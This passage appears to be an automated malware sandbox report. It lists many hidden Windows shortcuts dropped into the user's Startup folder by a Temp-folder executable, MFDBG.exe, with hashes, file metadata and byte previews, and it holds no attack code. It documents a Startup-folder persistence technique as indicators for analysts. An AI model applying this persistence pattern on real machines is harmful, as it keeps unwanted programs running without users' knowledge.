File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922357440664437
Encrypted:	false
SSDEEP:	24:8bBfDf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NbEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2CD7FD93631BC78D0941BE545DDDF26C
SHA1:	C56AE67AE671DCEEEB6ED7EC8462852B821EBB55
SHA-256:	D4518E712D1C485DE536F7EB079A014087FBF2E265CF7C22796D315EA239CE6B
SHA-512:	DACF65B5B8338A515310A560007F41855F780CFA76B0F770A0BBFAA41FE191259CD5559C942CD3780E5C496A01C6E50EB55061B84D2B5369432C5AD97AB858FE
Malicious:	false
Preview:	L..................F....".......d...s\|w.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dfa2e05349c74a4293deeeee229c59f8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9277317714751065
Encrypted:	false
SSDEEP:	24:87+2Bfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87+8JEvZ0yRO7DLO2zdxdRd1kyg
MD5:	40A242611584E1E67B1FB39E4DEA558E
SHA1:	0B230654EA8931C9D10840010090C73A8263F9AD
SHA-256:	7AA44E2810F2811AF4A956CAF1B9BF3F72B0663B78008A95FF62A79D19DA18E7
SHA-512:	E6D968EFE7B5A15581B76E2099A8D003C6EBBB366FBD95DC3257489769D44036540F7D3BDCCAB2EEAE7255935CD91EFCBFD4C2BE98708298C0861D10BE1683DF
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dfb09039d46a43bdbb2b06a40c1b4997.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918657237192878
Encrypted:	false
SSDEEP:	24:8nkrBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88DEvZ0yRO7DLO2zdxdRd1kyg
MD5:	69E486EBB6803D8F4EE6BA8C4EBF1BBB
SHA1:	131900E6F007070AA383578DB0CF0378F3A6BB69
SHA-256:	4C22DE0E227D5C6482B81EBEED9155126EF84E1A0E7ED733FFB9DDB5713D5979
SHA-512:	E2B8F938AFFB3BF73BD55B96B7288131D84133D3EF38B92D369644F2AE89410A3D6B0C758D1A0CE0DDCF310F3399310ED3714C74A0A1D8B4F1BBC7BA519F04F3
Malicious:	false
Preview:	L..................F....".......d....).\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dfdd5bba9788435eb2910c5034ad2dd0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92054980797904
Encrypted:	false
SSDEEP:	24:8u3BfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8uRFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4F7051DEE5119080BFCC00653FC2223E
SHA1:	91760163262FC644CACCED63717C596995F5CE6C
SHA-256:	AEB744C05B0669941F77A6F8E43327B9B86E399935C299B879BF0785219C48A7
SHA-512:	9D8FCC4A8BC7D9D558C6490CB8EFEF34CADA3FACEB7A154BAA09C670BB1D50FF122AE0DDD8407D8B733F2EB750C14835D5A837346A54AC2505A36FB9C55D9C4C
Malicious:	false
Preview:	L..................F....".......d...U.{:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dfee3ea624b74099ba567c579cfb17b0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926327693903801
Encrypted:	false
SSDEEP:	24:8ysQBfEX8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ylhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DF996F32EF0102E231E5A28006668500
SHA1:	68A1DE40DAC7F606D62BC005943D59B862614DF4
SHA-256:	B3AE70CFC6B0E170005686B5D1E220B04F18B30774431B61CAD3C4A61BE16DFA
SHA-512:	57BFA3C6CA409153A2B861DE7F52586791E0DA86DB27C7AC13B7250BAAE5D16138A5E3F40C53552BA2EA26C9247F8838129D38E59047C4D1D0446D5AF188A4BA
Malicious:	false
Preview:	L..................F....".......d...B..}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dfeef28de7574777b3b38b5ffb31988b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.905203621001465
Encrypted:	false
SSDEEP:	24:8/Bf38EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	ABFEFA10ACF0CEBE9CF354757D429807
SHA1:	0FBDE0F1F8E141D3599301A0FDCB3EA779AA4928
SHA-256:	9940E838DF3D9330F1B00FB8D64DC17587D85FFC4641EBF3C29285F48F725677
SHA-512:	81ABB1487D1D9AB7F8E52C4BF5DF8B075147A9DD90520263313B5779CFB208C8C264F8E14893E5BF13198E799F944016D19108315FAF6B93E9459A4DE12581BE
Malicious:	false
Preview:	L..................F....".......d....CC\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....9\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dffdf2fda11f4aad85f8eb40882fc373.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937662
Encrypted:	false
SSDEEP:	24:8lBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ncEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BFD8C90D8EBF3A5A3D1A9D22D84E736A
SHA1:	0A54F1808E390DB637B9280C29E01AC9B29996B5
SHA-256:	BF9145995969CC15F6E1D090F77C15744C8DC154969555A7BE81D6D2F1571A5C
SHA-512:	DFD1F18F1ED640740CD13408C849BEC658959422AD459BB60D521154A62E64F2656E885723463259D8069CF2AEDF92DE0DF73C82C82CCC72580970B989D1B6CB
Malicious:	false
Preview:	L..................F....".......d......[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e03f850e50cb4e21892fba9f5a967bb0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9258957776080505
Encrypted:	false
SSDEEP:	24:80Bfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8aPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4809F70B25A247303766ACEE4E6FFDFE
SHA1:	9AD56CE1E0DBF8B892FC1A905A242E2AD329D12C
SHA-256:	C5D95D7D5CE9F1250FABBDF3757051BAE709EBC5FC4D8C0C8A3D877C2A731BDB
SHA-512:	CE403C32128501CAD68D5E68547C1D44CA53AA47BA2106103234769A8E345755844AE6C0D5CC89B04AD92F4E1A84CC95DAB57C6E69B4DF822C51C7CCD292D0C9
Malicious:	false
Preview:	L..................F....".......d...4..]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e12e68f152b14eda9937bd048008c634.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924639458695966
Encrypted:	false
SSDEEP:	24:8yBfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8gyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	62424EEFD1DAF3F6918614DBEF13B639
SHA1:	3D08847F3C469CF3935DABD832183E83ED6D9864
SHA-256:	5CF0F100F6DF6E7B663A51A166FF0FB8CF115CFF00EA37396BF9271702530D03
SHA-512:	F84E9F2C9771AEABEEF79BB5C214C4D832E479317651F8C0843E546AA8E04141E421864CD33752C573A50CF123782DC189B229418278D48B8B549FD88CB6343B
Malicious:	false
Preview:	L..................F....".......d...X.0.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e1c5dbe5743f4a06961b238e933d23ee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929420006682942
Encrypted:	false
SSDEEP:	24:86Bf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:841EvZ0yRO7DLO2zdxdRd1kyg
MD5:	7AEDC083F28C63B93AF87E5E0D30A3DF
SHA1:	5C12151EA36129B7B2D908760ADBA9349EF24542
SHA-256:	49D1D68558EAD4CF455683FB73709C63BD7D802D27ABF7981467BDD89DFFC9F2
SHA-512:	142D327E9D1F0D211786C50372C4EEC509DF8E7AB7A5FA7F63F670FC3E11C4C29C38483CCA0E733DE2579598DFEBCED607FFB1A0F5C60877FB94E1155C25B7A3
Malicious:	false
Preview:	L..................F....".......d....4.~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e209847210184f9d9e08e9cda8ba96d9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922445427862773
Encrypted:	false
SSDEEP:	24:8uBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8EfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D7B107CF53CB2EEFA21895E52754B148
SHA1:	AAABA3E49D8A2D253A9B5E68E04DE2B032CD9E93
SHA-256:	A7C127B5CF1A64178C642FF96292FB917F4759910DF1E2EEC5644E04B62DECF8
SHA-512:	FDFA1EB3478BE3B2108882AD96E70EA8A475BCF8FE4BD014918BBD32BE06EDC1F2B501D8AE39C4BDFA0ACDE41ADD9ECF7EB3C4A70291BCE76B0C0243BB4F2054
Malicious:	false
Preview:	L..................F....".......d...X.#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X.#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e222587107ca434d92c7dc5a1c3c993b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:8SBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ADEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E53077616314DD8883517BBD7BB005C5
SHA1:	62833553162431CC1214E89249BAF018E180A7C8
SHA-256:	9D62CB796F0EBF07816A36B0D59F9296E13B283DE148B21AE76A1A2493B0FACC
SHA-512:	F67F07E0876B4708DAB2E5A345FC07ED91087C8FCE21597427A2913D1B66467DAC2AD0C3058A6A08ECAA70CA3306BE5FD9992E07C3165F3D7576BA7E126BEFA0
Malicious:	false
Preview:	L..................F....".......d.....<#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....<#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e25753d43beb485cbaa4a67ab6b45346.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931921099670844
Encrypted:	false
SSDEEP:	24:8VBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8X4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	C5C5FF44B799DB089E9470202129CF31
SHA1:	F6E6134B3ADE4E6CD31AD2C6F72C7CFE41A3BABA
SHA-256:	C12104E19B6ECFE709E05E58F028C828E961FEBA2123248D8461BADDC4C35797
SHA-512:	0599E0A92E45959667205B314B5C76759E9A3E3F31587680CEA0993197216559BBC7808545262CFC573F6849D761FFE09562CAFC3B19362D7713D0A3205D0BD5
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e25afd2e04e1401f8919fc99c6edce3f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
